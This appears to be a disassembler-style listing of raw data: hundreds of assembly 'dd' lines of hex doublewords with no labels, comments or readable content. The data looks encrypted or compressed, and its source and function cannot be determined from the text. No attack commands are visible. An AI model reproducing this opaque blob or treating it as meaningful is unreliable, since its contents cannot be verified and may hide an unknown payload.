		dd 0E00143BDh, 0F6AAF857h, 836E0215h, 31644BC1h, 88F46C4Bh
		dd 3D01C318h, 695D9A4h,	0DBF08AD0h, 0C82C009Eh,	0F5E3D272h
		dd 31024311h, 0FD18B5FCh, 25DC7A71h, 0F4AB4CFEh, 0C8383505h
		dd 2D00D6D8h, 79F86728h, 605EC7BFh, 0F5B27937h,	709684FEh
		dd 8963FD8Dh, 0B4B7509Bh, 0E4AC1100h, 3F628E15h, 482E005Ch
		dd 0F60C6D73h, 0F2285ECDh, 664CD42Ah, 0C7A4070Ch, 0E8F582h
		dd 6CBF07A9h, 8F00BC9Dh, 96255295h, 12D6B4Eh, 83BA58A6h
		dd 0FE720C4Ah, 8B086C45h, 795B6084h, 172718F7h,	54140Eh
		dd 0E0791FDCh, 0EDFD267Ah, 15AC3CE1h, 84EA38h, 0A91191E1h
		dd 7EAA8Bh, 6D21127Dh, 0A2C01F72h, 0F022BEAh, 0FD23C745h
		dd 8A07166h, 0C2803A49h, 1593311Ah, 94325483h, 0C34200CEh
		dd 0D75C44A5h, 62445C0h
		dd 3B08848Ch, 65CB4469h, 4BA84C02h, 880C7184h, 2C00AE61h
		dd 0E271BD38h, 5D2F2F49h, 0BF4AC820h, 13031578h, 19EFCBC4h
		dd 4899507Dh, 80205C10h, 0BD9C4283h, 3EBF7CD0h,	4855CC00h
		dd 0F7DE4FE8h, 0CF1906CDh, 59107EF8h, 943B50DEh, 29E83641h
		dd 2E8FFC16h, 6BA1C07Fh, 39090BCEh, 0D993E0F0h,	833CC165h
		dd 0B403041Ch, 0CFFBF427h, 10C9B0D7h, 0AA7700h,	85C3B94Bh
		dd 11070EC1h, 0C2AF9302h, 64F29DE8h, 90FE1354h,	0AECC5B2h
		dd 18C4C54Ch, 0F3C8086Bh, 0A410CD29h, 1822827Bh, 660953EEh
		dd 0AE4515h, 0FEE1E72Fh, 0D8EA48EDh, 6AB4B6A0h,	0CC3CBD00h
		dd 37BE58F9h, 0C61F02FDh, 725C86B5h, 194EF86Ch,	34F93C30h
		dd 0EA99C2CBh, 0A0A2A5B4h, 0A461C31Ch, 0B8E43C06h, 0EA038CB4h
		dd 0EC7558A5h, 0B9E5981Ch, 1D01904Bh, 0BCC0F0C7h, 93179F80h
		dd 24F310DFh, 0C2BD3103h, 0B1701BE0h, 0B466FF1Ah, 5EB1300h
		dd 7E905EC6h, 0B8A4027Eh, 0DB64C204h, 28883B06h, 1A37F1Bh
		dd 19B16C0Ah, 79A0F98Bh, 5FEA1BC0h, 2E53C039h, 88F701B8h
		dd 67160570h, 21E1F1A0h, 0B4237Ch, 0A5271A45h, 0CFB3236h
		dd 0B4CA798h, 97FE4FD2h, 970ADF2Fh, 80B3117Ch, 46FD81B2h
		dd 3B0726F2h, 3D194078h, 0D404108Ch, 6738960Fh,	2301A8B8h
		dd 79216F56h, 16C8FF64h, 0FE4D82C4h, 74B20014h,	0E30B7FC8h
		dd 5DC900C2h, 5C2A15B9h, 0B090FF76h, 600C274Ch,	5D6DFC81h
		dd 0F90DFEF2h, 0EC7C5021h, 1D7A7C53h, 5D9FAB6Bh, 673D0006h
		dd 77AE3F46h, 1A38FD00h, 0EBD09775h, 0E82400FBh, 0F28C4D7Ah
		dd 267C717Eh, 35FEC007h, 5D41CA15h, 6BE51B50h, 1800C47Dh
		dd 3C073488h, 802890Eh,	6B373FABh, 0BCE0A0B0h, 273577Ah
		dd 0C2294249h, 5C81289Ch, 2C1C2D1Ah, 0B15C5034h, 0E399B6Fh
		dd 6D780CCh, 0FC9C0EADh, 0B08958B8h, 6921BA09h,	0F48724E0h
		dd 5583460h, 881DE5A5h,	38C216AAh, 0AF3988h, 1F367318h
		dd 6B5303Ch, 2AEA49AAh,	0AF290B49h, 18001998h, 0A1BBB10Dh
		dd 1F181652h, 9541AE34h, 0B02198D8h, 6CA8403Bh,	0C868E82Fh
		dd 0F4844C00h, 6718FFDCh, 12FB00E1h, 6277B4AFh,	8C9030F3h
		dd 0F7786500h, 0C70F10A3h, 2ECE3C91h, 9F676681h, 6406F5Bh
		dd 0ACFC22B8h, 94EE7D3Ah, 229CC580h, 2520520h, 0A319FFA5h
		dd 0B41061C4h, 0A4E0E479h, 10B958h, 5B80C969h, 0FD16C76Dh
		dd 1820844Ah, 7C4C2690h, 0DDA724CAh, 0E3B0407h,	0E41C8884h
		dd 0BE90F800h, 0EE607F5Fh, 0CB8700F9h, 7D084C21h, 0BC1BA824h
		dd 0F069E379h, 2E1688h,	446182DDh, 5F4E2D6Fh, 0D9D7213h
		dd 6DFE6C02h, 0A0C4839h, 608930E1h, 211F3519h, 2F1CCB4Dh
		dd 208C10C7h, 0E2FCAFh,	88A0DB87h, 0EA8A72F9h, 182C912h
		dd 5D999840h, 51B2AAh, 0B793924Bh, 17134DA7h, 0B0C6B81Dh
		dd 0EF207F80h, 27A83ABh, 0DE951924h, 0ACC8B798h, 5D005BC4h
		dd 5636609Ch, 0FA8530E1h, 445100EDh, 0AC357E5Fh, 382ABFB4h
		dd 0D700B819h, 48883A32h, 0E626F0h, 769E7BBh, 0FECE39CBh
		dd 5F608650h, 0CA84BC05h, 7480D89Dh, 0B3575A2h,	5DE51E76h
		dd 2B27C8C8h, 0A44DAA00h, 3B5E2242h, 0D178009Ah, 1F26757Ah
		dd 8204ABCCh, 99E82CA8h, 4AFE0488h, 60D783h, 0D6BF6EDh
		dd 0E76011C0h, 28A2E4h,	9BDAA58Fh, 0A749F283h, 0AB912114h
		dd 0FAD11FEEh, 0CE151680h, 72C56A8Dh, 0B0710081h, 0F8E9CADBh
		dd 831F1A63h, 0FBC0CF35h, 0CEA3BAC1h, 9E7102h, 96ADAEA7h
		dd 7BFA8BF4h, 0DEA41400h, 524C40CAh, 9770B3h, 0E74E5B3Dh
		dd 0B8BF757Eh, 0C3AB1800h, 1294C70Dh, 24DE00A5h, 3AF31386h
		dd 1000909Bh, 98E7F829h, 0C47FBACh, 3EEA1144h, 376F7190h
		dd 25730799h, 0E0871D25h, 4DC94E0h, 2652036Ah, 0BED708F5h
		dd 0E4A52828h, 0C081FB1Dh, 9AF4CFh, 0B9765AE0h,	9C6B3919h
		dd 0E5F8EE80h, 827115D0h, 0A438DA60h, 1A05F0Ah,	0C552FF51h
		dd 0FC85F707h, 0FC03CD23h, 0D73CD069h, 9F77D040h, 0B87491h
		dd 0FB5237B0h, 0F0AF0143h, 1F89050Eh, 0C8C9C0B4h, 0B9C219h
		dd 46A9D00Ch, 0EED66959h, 0A98DBD30h, 591DD95h,	0FAE7CD9Eh
		dd 695CC05Eh, 0EA6061E6h, 5D3C4710h, 20B3E46h, 4058AE00h
		dd 882EA51Fh, 0CAA46A50h, 3CF80800h, 222AA21Ch,	0E0503C89h
		dd 44C32C7Dh, 84ED0063h, 3AC758F2h, 3E6AE83Dh, 0A1550047h
		dd 1C9C3C5Eh, 0A4C83AC0h, 0AE0E1060h, 0FC03D721h, 24311AA8h
		dd 1083318h, 21F06421h,	7400C772h, 0CDB53BAFh, 18EEB2B7h
		dd 6810B045h, 0AE023C93h, 7030A81Ch, 7E088055h,	391A32AAh
		dd 0D88CEE0Fh, 6808F114h, 0FEBC21C0h, 0E6E2FA2Bh, 0C1BA003Bh
		dd 50D70560h, 9D2C89EAh, 0DF03147Ah, 18AD2214h,	9934EF90h
		dd 4D00BAE1h, 0FCA110BFh, 1EE9910Dh, 1DB44B1Dh,	8C5FA8h
		dd 0D43140F7h, 33394F38h, 0B440CFDh, 60C308D5h,	0FF8420AEh
		dd 0C503EC38h, 0D79B9DA3h, 8BCEC085h, 0D94D0098h, 0FFD62A92h
		dd 0E9006778h, 0F0F9B852h, 1259DB9Fh, 0E813ABh,	0F8F386D1h
		dd 0A401AA18h, 23621CA2h, 0D9FC9245h, 5AD6584Bh, 8077641Fh
		dd 0BEBBFFE2h, 6C0046BAh, 1C622BF3h, 95305Ah, 84574238h
		dd 0FA17EFE4h, 0EDD7707h, 645058DEh, 0B9DA9Dh, 0CB3EA18Fh
		dd 2299310Ch, 78D79300h, 0A887C94Dh, 0BA160060h, 0F890C0B3h
		dd 75004F43h, 0C7935E8Ah, 3C149158h, 8C030661h,	8DB2734Bh
		dd 0A0FD8EA0h, 727CCC3Ch, 9E163203h, 0C05498F6h, 17C1E3h
		dd 0FCF9CB5h, 0BAA89069h, 8934031h, 0EB0E0CB3h,	5128C9Fh
		dd 61018410h, 28E7D42Ch, 92D4BF51h, 7B2300EAh, 5A9CDDD9h
		dd 9724B529h, 0D5197689h, 5E083D28h, 84B67944h,	42937422h
		dd 0AC050819h, 870208DAh, 846B3488h, 4DB3385h, 7E44DE8Ah
		dd 6A45449Fh, 0C28014Ah, 0CA790593h, 0BCC613F9h, 53422D48h
		dd 0F262536h, 76B1E714h, 0D61C045h, 2DF22988h, 0BCB4D688h
		dd 7AA01730h, 0B6007FEDh, 65E15824h, 98C7C2CAh,	45AF491h
		dd 0D6298D79h, 9946C077h, 0AEF01542h, 71AD9D00h, 0C1BC7A5Ah
		dd 60B7001Fh, 22A2549Fh, 9B003DF6h, 0C6288614h,	0A7C7DEh
		dd 0E7255F87h, 6E58613Ah, 4D965200h, 7E190632h,	78EA0083h
		dd 133C927Bh, 0A60FD663h, 60974DA1h, 4BDD17AEh,	0F9D000F0h
		dd 436B14F3h, 3360FE15h, 4E8BA311h, 8976006Dh, 0AE72EAE8h
		dd 9D00C828h, 1186F84Ch, 3F02360Bh, 0A01C6655h,	2D82417Bh
		dd 0FC6FAED1h, 2492C759h, 6ABE6D00h, 897201E8h,	6592034Dh
		dd 5D5FF382h, 35F8F1F7h, 0B883E015h, 0A325441Fh, 7247D07h
		dd 666853C0h, 0F9AB1690h, 59730026h, 3F060BC0h,	5000A498h
		dd 0DD9912C8h, 1926D5h,	0CB0FA1F8h, 0E8EEE1D9h,	0BF42833Ah
		dd 0D2210159h, 0E03658DFh, 1FB2D3CCh, 80C06C98h, 0F4CD9BA9h
		dd 0C10EB4F0h, 40CB3F2Dh, 0C876BF6Bh, 0EAD00398h, 0D35EABBBh
		dd 0C4F6DBB9h, 1800B314h, 7E543F7Dh, 0FEC9C1h, 6DEF6027h
		dd 0ECB03236h, 8A0371FAh, 4388BB3Dh, 47213EFBh,	1F37550Ch
		dd 0B5039B11h, 0FA0A6204h, 0A878D342h, 0ECF24D1h, 9749BD53h
		dd 0F2BBBFA7h, 70E01D5Ch, 0B23A9A96h, 43E200B3h, 0CD59DF6Fh
		dd 0B8A63E11h, 867BEB00h, 0CC3B9D80h, 70FE4700h, 0F693FAD4h
		dd 0E1BE0264h, 1C0EF395h, 67A56055h, 8FE2004Ch,	0A24673B4h
		dd 0FA00665Bh, 9CCBBF9Fh, 0A44F96h, 70F4119Dh, 7998BE23h
		dd 5426EB00h, 0EFBAC27Dh, 0AE1F2A04h, 0B6B3FBCh, 0A2734E8Eh
		dd 0D43956A0h, 3D07EA06h
		dd 0A075B092h, 1E9CFA20h, 9BD50213h, 49DEB452h,	81DFFC89h
		dd 2C562875h, 26B8ADCh,	0F3B0C672h, 34403EC8h, 532EB712h
		dd 103082F1h, 3879A656h, 0B0030D1h, 24A9FBB3h, 0F7007834h
		dd 9CF1A7E3h, 4DFEC068h, 49006895h, 6676324Ch, 0D7302DDBh
		dd 0C750B9ABh, 18650088h, 0C4B64505h, 1EF83B60h, 0A1949C00h
		dd 1516D5C0h, 6219C0C8h, 4357BBBEh, 8CE9AC0Fh, 5375405Eh
		dd 0EA98A169h, 89F8C1h,	96642F28h, 7623D365h, 2DDF0D00h
		dd 9D01EA59h, 543400FBh, 2BCEC7FFh, 23001605h, 0D674C1FAh
		dd 3952ABh, 0D125477Eh,	329457ECh, 0C56EDA0Fh, 168A069h
		dd 0AA515Ah, 64A73A1Eh,	85065012h, 0FFD51D03h, 0B05D87EBh
		dd 3D62AF65h, 48B87D04h, 5CF9A700h, 0D22521C1h,	74243548h
		dd 631E7F00h, 5D99CFBh,	242EEA62h, 615731h, 23D00780h
		dd 813A3C52h, 0DDE52834h, 102A9800h, 0D34EB85Ah, 74041EE9h
		dd 3ACC007Ch, 665CBC0Bh, 270FDE00h, 757D5032h, 0D6E900CFh
		dd 551897FCh, 70002463h, 12A245D9h, 121D8CA8h, 524EDCh
		dd 21644C34h, 3A1D1A24h, 0D5595B4Ah, 58FC19D8h,	0E74F855h
		dd 2CBD173Dh, 56888020h, 0EE001383h, 22D1B8FBh,	3281EFh
		dd 1AA8B646h, 0C23BC612h, 3D2F3301h, 2A7390A3h,	0B0EFE421h
		dd 33691E9h, 0D33CD76Eh, 0CC00746Dh, 0BBEE8F2Bh, 3EA192Dh
		dd 97C7CB40h, 2F8844EFh, 183F64CAh, 622E80D1h, 8FCD4D55h
		dd 0E75707E5h, 0A036C70Dh, 64939BEBh, 0BB62C90Eh, 2AD064A8h
		dd 0B1C34080h, 0A6E30745h, 51B7A561h, 0D47FDCD4h, 440C4AA9h
		dd 48ECB3E2h, 987907D8h, 0BA9A7509h, 94BB00CAh,	0A69E3363h
		dd 0BF1A21C0h, 0EEB66Bh, 5C7416DFh, 12B33565h, 9DDCD73Dh
		dd 0C8FFB743h, 985700D5h, 3EFAE520h, 0D5AD0078h, 0A47D28D3h
		dd 360FF9F3h, 6096C846h, 2E611C4Bh, 0FCE607A3h,	3BABF66h
		dd 1881FF2Ah, 4784307Bh, 72F4B750h, 0AE431200h,	0E884C496h
		dd 0FF0704C5h, 80ECA0E5h, 1B8E01D4h, 1EED0900h,	8BDE8079h
		dd 0CE590061h, 0A22CDD0Dh, 0EF00FA4Dh, 93439288h, 1E0E57F5h
		dd 408CDEF6h, 1E46AFCBh, 56003948h, 0BF334A3Eh,	2C0E3D2Ch
		dd 28F91Fh, 0FF1817A3h,	1500BA76h, 973F43D4h, 3A5FC3h
		dd 846A1FC8h, 26802EF6h, 0C29E1000h, 951C62ABh,	173E03FEh
		dd 0C39FA9Bh, 0B53F1D90h, 3B5C0D00h, 0EE4B6C8Ah, 5098E7h
		dd 0B464425Eh, 28839E7Bh, 0EA97531Ch, 3F5C01BDh, 0CE907B6h
		dd 0EFC2E5h, 0CA76A230h, 0A7A8176Dh, 8C820F0Ah,	60088C8h
		dd 6AF62ED1h, 0E6250FADh, 0C3A9B3EAh, 340E0F00h, 0A500500Ah
		dd 86588962h, 0EB3799h,	5CA2E890h, 0BAA9423Eh, 12727BFEh
		dd 45E0F00h, 89F7CBC1h,	5CD400FEh, 0EA3AB9F5h, 84F87217h
		dd 0C0B02D2Eh, 26E69200h, 43C6359h, 7108B6D1h, 0F056C093h
		dd 0BA5CCE53h, 9FFE0128h, 73604957h, 51C4B6F5h,	2752486Dh
		dd 0DE094A00h, 948E1D06h, 0AE14F500h, 0CD18FAC0h, 0B0149802h
		dd 80C818C6h, 9987213Fh, 1451D424h, 434B2500h, 0F6477CA7h
		dd 378F03EAh, 60E0FF74h, 0A683F000h, 12F8B6B4h,	79590FC7h
		dd 68C0F53Ah, 0D9A1A089h, 95CAA500h, 4BAF491Fh,	26B91D17h
		dd 0F0310007h, 814FD483h, 8BC0B71Fh, 0C076388Fh, 8E28EF2Bh
		dd 0DAD70740h, 40537259h, 0AD7AFE9Fh, 21B50500h, 22F5EFE6h
		dd 0DEBF0064h, 45F9BB8Fh, 0C474E771h, 0B5B92500h, 8CEC3020h
		dd 2AA60CB2h, 8F0895B8h, 7919B104h, 3AC0E5F2h, 9019414h
		dd 70CF5AA8h, 7D8A7680h, 0B5065545h, 148C1510h,	0EDDD0EA8h
		dd 0C47FBB51h, 0C0D6E7B3h, 2374D2D4h, 61193Ah, 644FCF88h
		dd 0F11847h, 0AF43E4EFh, 523C1F86h, 33558400h, 69E246BAh
		dd 51C80359h, 15F17F09h, 0BFE74088h, 0AF8F470Eh, 8477A1FCh
		dd 81602706h, 3DE0993h,	0A1F908h, 0D0F63F19h, 88983912h
		dd 0FB03D498h, 4605DEE8h, 0E0CBA3FAh, 6669B9h, 0A2B6B775h
		dd 0FDF5317Eh, 0DE282500h, 2CBEE812h, 2FC50092h, 0CE772E3Eh
		dd 57627EBDh, 0C0852918h, 7D5F0Ch, 32C2D508h, 19DDB9E9h
		dd 368973Eh, 0F65413D7h, 7C68C6A9h, 24139832h, 3E04F41h
		dd 2D733BB9h, 379CA00Ch, 0F8E295Bh, 18A58B13h, 205D98FDh
		dd 0E500C4F7h, 12076035h, 7135994h, 68F2F8A1h, 88B8D0C5h
		dd 8306F533h, 0F015D8B4h, 4440052h, 3FCA1E31h, 0AF006F93h
		dd 0D9768C90h, 87A9B1h,	60CE17FFh, 0DF8EB930h, 0E79E4803h
		dd 90447835h, 49E956C4h, 2638C452h, 8297F500h, 0E1B7A4C2h
		dd 0C3F6C007h, 0FF906652h, 7C4956Fh, 233F2629h,	89C580FCh
		dd 7F24DB21h, 65148466h, 107B8DF0h, 26ACF000h, 4B819h
		dd 0C0EEC323h, 0FBDBF231h, 700E6F0h, 0BF84C61Eh, 1F80CDFh
		dd 1070BAEEh, 0E026528Ch, 7600AFB3h, 1FA4BEC8h,	0B0FA694Dh
		dd 4C32FC16h, 3E2628A5h, 59A140E0h, 2C00B1C5h, 237E571Bh
		dd 51FD5h, 0AB41F3FDh, 494DB812h, 51BFEF03h, 0C94A8350h
		dd 0A8206625h, 848F4832h, 0F4E85300h, 0A23EB20Ah, 8201F890h
		dd 2CA345D2h, 0AE407A50h, 0CB1D1Ch, 0C163D3B1h,	77BA764h
		dd 0B10C200h, 0F3952215h, 8BF7003Fh, 0C69A6B2Ah, 6E0018EFh
		dd 1449B327h, 0E45371h,	5489A51Dh, 422D3A75h, 9413BE07h
		dd 0DB80A904h, 401B5Eh,	8FB1CE19h, 85E0FD3Bh, 0E8C52600h
		dd 97BC65B3h, 765500F0h, 4A6E7159h, 0C007AF1h, 0C6848BD3h
		dd 0FEC01B73h, 0EA7C00BCh, 416561FEh, 371E8927h, 8840F1E8h
		dd 0F8F3289Ah, 0CC900084h, 6B831D11h, 850025D7h, 6CD6867Eh
		dd 4EBDC28h, 11FC970Dh,	670387E5h, 2520A089h, 0F300E0AFh
		dd 2E668367h, 273E51h, 92C07F60h, 0D09BDA4Bh, 82CFC32Ch
		dd 0C1CB072Fh, 23BA9C10h, 73FD0018h, 1BA7765Eh,	881D30A3h
		dd 6EC00765h, 31554D0Dh, 0BCE7000Ch, 5CC11F78h,	0EC00C076h
		dd 0B540422Fh, 0EF4C64h, 0E7E8329Bh, 0B9EAC7D4h, 0FCAC0A00h
		dd 45F4D3B7h, 34113176h, 0F4B0EBF4h, 813DE68Dh,	0B8CF00CCh
		dd 3F9FEC72h, 0D7C90390h, 837A826Bh, 0E444C2D8h, 9A207900h
		dd 1668AE74h, 2B1D0080h, 0D5CFE775h, 4C0B1308h,	8F51ECD2h
		dd 80196F26h, 129D8405h, 0B47A0E21h, 0A0A0ADCBh, 3DFC0859h
		dd 0A8439500h, 61C27754h, 0B49000CDh, 5B3213D0h, 3F00DB41h
		dd 83712174h, 2BCA36h, 2D235226h, 2C667DC6h, 9C34A307h
		dd 489037B8h, 0F56271h,	0F72B0145h, 5C76B9AAh, 2F55EB00h
		dd 0A6821443h, 2179F1h,	497C6873h, 0ABFD1BE2h, 1A8C3C00h
		dd 4D2503FCh, 617D92h, 1DA677DDh, 3D65870Bh, 93FBD900h
		dd 5EDEB95Fh, 0C46B3CD2h, 0CA035D81h, 0D4CDEF8Eh, 0F206BBB3h
		dd 76296189h, 12913F88h, 0C876B80h, 23B8A55Bh, 0E658D000h
		dd 638D3466h, 846002BFh, 459FAFD2h, 0AC24AA80h,	100FB43Fh
		dd 0E0B9BB83h, 0DA6A4611h, 0BC440079h, 88E26CD1h, 2600C001h
		dd 63CF6274h, 0DFA3E7h,	60F71CE5h, 9ECA952Fh, 7FAE1600h
		dd 5C6DC8C6h, 4C72D5h, 9B28321Dh, 52172B83h, 7803A5E6h
		dd 616AA77Ah, 9CB8005Bh, 7F62A8CFh, 0AA7D3221h,	129B7A00h
		dd 2E86DDF6h, 668A006Fh, 5D3F4208h, 0C30E4E31h,	0C29CFFC4h
		dd 0C2C09BFBh, 79E0DD51h, 8E634AEFh, 0D07E2B11h, 17E65514h
		dd 0F387852h, 12EF68C2h, 5C753C80h, 2100060Eh, 8A2A111Ch
		dd 6B81E29h, 181A32C6h,	6A03DC2Fh, 179F06F7h, 3834A079h
		dd 2BC300EDh, 56686E8h,	0F600B3A3h, 12F5C2C9h, 0A109FDh
		dd 1A764820h, 0EB1C86CBh
		dd 0FECC7102h, 80E6382Dh, 0FF2036EFh, 17BAF611h, 0EE5AA155h
		dd 2D576B80h, 6DC0EC2h,	4660D06Ah, 74426D12h, 0C0B12700h
		dd 8FA1CC2Bh, 809307h, 72C15804h, 4E014B86h, 0B9A899F8h
		dd 84410635h, 0CF82AC4h, 341D001Ah, 0A4D7C51Ch,	0F5284EE0h
		dd 2004C002h, 0E7DAA71Bh, 985D5080h, 4A680389h,	82619190h
		dd 9F560FB8h, 0F9037D0Ch, 384BCAF6h, 140F0883h,	1C804AF1h
		dd 6967CD4h, 66DA2F00h,	70299BD1h, 0EF1230B1h, 6904B558h
		dd 0E8B41600h, 6FDF2FEAh, 500D1F0Fh, 3AEDC0FAh,	399CB88Bh
		dd 49E1D709h, 35DA01C1h, 0FFD067h, 0B8B9A730h, 9DD6B77h
		dd 5D296507h, 4BB04A6Ch, 9A51B2h, 230187ABh, 1F7170A9h
		dd 4C910400h, 9BC8C1A2h, 0A7060C20h, 2490ECD9h,	296C5100h
		dd 0A817A3CBh, 0EF3D0042h, 0A987082Ch, 0B9C043D0h, 0DD6EB0BBh
		dd 0C633009Bh, 970E2555h, 0EA02CA8Ch, 0AB781B60h, 768841C0h
		dd 403392D9h, 0ED0A0F00h, 0DC379357h, 26606100h, 36F235C3h
		dd 0A0749Ch, 3FE24E8Fh,	160A56ADh, 0AC863Eh, 0F141340Fh
		dd 0F33E87h, 4F5A6FF6h,	0F9445D40h, 512B6800h, 0CA4DDE41h
		dd 8BB50357h, 0F0D549D6h, 9A5081F8h, 1824B63Ch,	4E110118h
		dd 0A4261DBFh, 0F57D85h, 4739C7E0h, 985C71CAh, 0E399E20Ch
		dd 0F9C880Eh, 63D46EC3h, 13D1C03Eh, 0CAFF6FF0h,	6B9C400h
		dd 8191EBBAh, 0EE37301Ch, 0B6164B80h, 79F5000h,	5203DF2Ch
		dd 0AC3E185Ah, 0E3A31012h, 651EE105h, 6C8659F5h, 0AF330329h
		dd 4DB2E6BCh, 425D3EC0h, 7066FA00h, 12E890B6h, 59CC00E3h
		dd 33D66CDFh, 851E20C8h, 0A8375F4Ch, 0F2FBED70h, 1DCA0F4Ah
		dd 0B8B51229h, 0B7B10075h, 11745B04h, 3100843Fh, 8A504DFAh
		dd 59336Ch, 7E1AA248h, 0CC493B8h, 35665700h, 0AEF55320h
		dd 0FC315B5Ch, 0F15D008Bh, 428C80D9h, 8518C0A1h, 4466392Ch
		dd 36628300h, 0C91957DFh, 11630CE5h, 0E2D91EF2h, 3FD8C403h
		dd 0D8FEE11Fh, 3E639AFBh, 8928DA44h, 715800EEh,	54C14C8h
		dd 9BB880AAh, 0FA8EAC00h, 216CADDCh, 0FB463B1Eh, 177DD280h
		dd 0FE6F0DA7h, 24183400h, 0C38B3B09h, 0F1CC3E0Fh, 0B3926980h
		dd 526BE1B2h, 2625A507h, 55204A3Eh, 3BD3CD6h, 64EC193Dh
		dd 0B2B0C491h, 0AA000850h, 0B0C9B704h, 0FC42322Dh, 0A20C00F9h
		dd 4C1D09A3h, 0BB008C8Fh, 983571B2h, 0F422696h,	0BE18B382h
		dd 0D1544561h, 0FD9DD4A1h, 0E8B5C600h, 3A96C3CAh, 0E570006Ah
		dd 7753B081h, 0DF070A03h, 0A568CF71h, 0F5489BE0h, 7ECD00D9h
		dd 13A7981h, 960087F8h,	0DE8E7071h, 0DA52C6h, 0A0D2399Dh
		dd 0F2C07485h, 0D883F41Ch, 276031C0h, 6A192Eh, 8A52AE4h
		dd 338C7E17h, 5301727Ah, 0F1701F89h, 67C9F045h,	16F3DFCh
		dd 1BFBAE0Ch, 0CDA7B0A4h, 0BC4F8D9h, 3FF58905h,	9001256Dh
		dd 4FE67B9Dh, 108EDCF5h, 0B323CE15h, 33C0E2D0h,	4D076B95h
		dd 0A89DB526h, 0BA4C780h, 7BD40F36h, 8D40E519h,	0D2322B8h
		dd 0E4B320h, 2886512h, 0BA1D6A6Eh, 0D6F4D9E4h, 137E620Fh
		dd 4796814Bh, 58BA654Dh, 776CCE00h, 0EB1B5DE6h,	0E2391D00h
		dd 735C0FA4h, 27C40081h, 31633266h, 0AD00C80Bh,	520AD1C7h
		dd 6BD67Fh, 57650345h, 0BF901CEAh, 719BDC12h, 0CEC6640Eh
		dd 4BCDC0EDh, 3D07C7h, 0BC1D0638h, 98AF5F53h, 0A0468F00h
		dd 6028C141h, 9214005Dh, 8E10CFDBh, 4700D05Bh, 940A704h
		dd 7E3B522Fh, 0C1C50054h, 0BD492D8h, 0FA0047F4h, 25B0AFEAh
		dd 7C6798E2h, 16E400D7h, 5ABDF769h, 3EFC4431h, 80A7A93Ah
		dd 99328A05h, 578022h, 0CA5115C2h, 964697Fh, 8C78CB00h
		dd 0A4C5D388h, 0C97EADh, 0D85FA60h, 502627B6h, 0BEDB3Dh
		dd 4F2F7CC0h, 0E3E77Dh,	7A78536h, 676445C6h, 3E6A1A01h
		dd 0BEFCA03Dh, 2684E0D7h, 0E0820077h, 0E7C76372h, 0FB00B14Fh
		dd 0C0C4ACC8h, 0F5C528h, 6935ADDh, 7359FE8h, 208518CEh
		dd 0A2C79CA8h, 0E3C9014h, 0FE3C4CF1h, 358F2E78h, 62B27500h
		dd 0ECE92A13h, 174E734Ah, 2730476h, 0AEEBB367h,	0BCC096E0h
		dd 0B500D87Ch, 6774FF2Ah, 7FD73Ch, 59763B9Fh, 8C4B5A34h
		dd 0AB0A41F6h, 887EF009h, 40770680h, 256E67Fh, 8DAEB9D8h
		dd 3840D02Fh, 0BD009A8Bh, 70B46410h, 0A13ECDFBh, 0E3F07BA4h
		dd 0AB5400DEh, 6F2B23C9h, 0EC01A211h, 5D4DE494h, 6DD4E1B0h
		dd 4EE2003Bh, 3465CDC1h, 1000B429h, 0EC24F825h,	72FFC55h
		dd 0DDCECAF1h, 879AB191h, 7F9DECF6h, 48C70207h,	0F2104234h
		dd 0A00C1647h, 0E65AAF4h, 98598AE3h, 0CA3587C0h, 80004F94h
		dd 1B330E7Ch, 1E6E8B9h,	0F3B8230Ch, 0D0AC6FFBh,	65007257h
		dd 588367F2h, 19C5B29h,	0C8E3D715h, 0F028B3DBh,	0EF743736h
		dd 0F8645100h, 0DD855690h, 3F630693h, 0D82C1A8Dh, 7FB4C000h
		dd 1CCF3B16h, 0FA5500ABh, 0DA47B52Ah, 4600AE84h, 0BB02BD9Dh
		dd 0F424D0B7h, 7FB100ABh, 97918B41h, 0EE030A65h, 6BB7764Ch
		dd 6E4000A3h, 41D9DF98h, 540004AFh, 0D75767A5h,	3D50FD52h
		dd 0B0005E23h, 4518EC06h, 4A18FF22h, 809028E1h,	243E007Fh
		dd 6F1D5B97h, 0D400F351h, 2B43AF4Ch, 2CFCEBh, 0BE0D314Eh
		dd 0A24B8F5Dh, 389AF100h, 0E3C4D13Bh, 0E73C00F5h, 545DB488h
		dd 80502E08h, 0ECB03718h, 572F0203h, 0B8B3A0CDh, 3E0BEEABh
		dd 3D0017E0h, 9271E5Ah,	0DA033623h, 385C1BA3h, 3AFBE8E9h
		dd 0A89C00F7h, 0ECD14430h, 4E02927h, 1C704500h,	573E8AB9h
		dd 714800FEh, 0E1BDC59Ch, 6A07944Ah, 0CA4083F1h, 0E4B3030h
		dd 1E8A0C7Eh, 0D611D920h, 7280EF4Eh, 0E46D14h, 1579B69Bh
		dd 0AF18A1A0h, 9900FA72h, 5A352A53h, 1038671h, 4BF8EC54h
		dd 0E4F1B005h, 777B47A7h, 6962FA00h, 0F2CC2917h, 30A8A8C1h
		dd 103200D7h, 509827A3h, 0DF032965h, 0D54B77B3h, 0E8138860h
		dd 88A300D7h, 2D5ECE83h, 2F00648Dh, 7EE40EE6h, 1D24C4h
		dd 7C55A660h, 0D0E99E2Bh, 0F0E8BA00h, 0B6B206E4h, 0A36400F5h
		dd 0A2F80235h, 0BB00FE0Dh, 662EE0D9h, 0E7C440h,	0EE24301Fh
		dd 94AD8EBEh, 6EA9CA0Ch, 7373141h, 0AEDA3B48h, 61B76165h
		dd 0F1D1D4BAh, 0BEC41100h, 0E8DCD216h, 0B61200D3h, 54A4D03h
		dd 0B218D504h, 0E0BE3A1Eh, 99D00F3h, 0BF71AAB3h, 3006BB9h
		dd 14CE7824h, 7948C37h,	2D3565EFh, 11499004h, 42008830h
		dd 0F9C68706h, 0B86FB10Bh, 4AD1002Fh, 0C5863ECBh, 140036DAh
		dd 622C6439h, 3F69B30h,	0F33A2ECh, 8DD0DDE7h, 0C77B0408h
		dd 3B885200h, 0DFD621FFh, 0E9A500E0h, 8ED5077Bh, 0A30FDE3Eh
		dd 0A0DDAA99h, 74B6569Eh, 46470FFFh, 0B340AEB2h, 942D7DF1h
		dd 40E0E16Eh, 445F4374h, 0F8D70002h, 0FA14D008h, 8B04BCB8h
		dd 53E0274Ch, 0EB547AC0h, 5A7F00ACh, 0BA592446h, 814CEC76h
		dd 2B880E34h, 0B88B40D2h, 9E84D9Eh, 0E0521D93h,	7032103h
		dd 25564A88h, 46345E01h, 494E1784h, 3AFDB4FCh, 878024AEh
		dd 6C478308h, 0E4136139h, 0A600F82Bh, 3E691EB8h, 76560080h
		dd 1664D473h, 26013802h, 0FF2974FEh, 183069BFh,	1F131C0Bh
